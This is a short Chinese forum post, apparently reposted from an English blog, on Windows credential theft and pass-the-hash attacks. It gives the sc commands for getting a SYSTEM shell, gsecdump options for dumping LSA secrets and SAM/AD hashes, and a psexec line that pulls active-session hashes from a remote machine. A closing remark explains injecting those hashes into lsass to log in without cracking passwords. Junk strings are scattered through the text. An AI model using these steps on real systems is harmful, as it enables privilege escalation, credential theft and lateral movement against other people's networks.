HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
  C5 {$ S* m/ x2 c[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

) t0 G* [1 I; G0 z- jC:\>sc delete shellcmdline
" I& [/ q8 o7 Y, m[SC] DeleteService SUCCESS

------------
( ?4 \" B; f* s, J$ d. m
& \' D% D9 d% g5 w3 \' @Then in the new DOS window:

3 T' E% F+ h( G0 p; ~. VMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
) O* G. t5 ~& {& i6 u
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
) ]( e2 Q, ?, n* `2 |) J  x, |1 ?& c% wusage: gsecdump [options]

options:
! X$ p7 C2 h( c3 f3 G( Z-h [ --help ] show help
1 h2 W5 t# P! R1 s3 v. }-a [ --dump_all ] dump all secrets
7 w/ J$ U" K2 Y7 I: H-l [ --dump_lsa ] dump lsa secrets
& q& N2 e5 V0 ~, h-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
: y9 W% [% B: H& u; {; v" F-s [ --dump_hashes ] dump hashes from SAM/AD
1 O" }) {; X' a  z* x
Although I like to use:
, F( R2 t5 j# [7 f7 Q: z# F/ p
: S! i' c4 `* n( I/ yPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
# G  m' f; Q8 d, J6 r+ T
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
9 M) V# u5 B5 u% H2 J
" F8 ]* \0 Q8 ?- o0 q& \These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
; g' \, N2 c% H, Z9 ~& x1 O) b& _; e# {
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
# F& V% J; R$ i+ M0 t4 m; K, x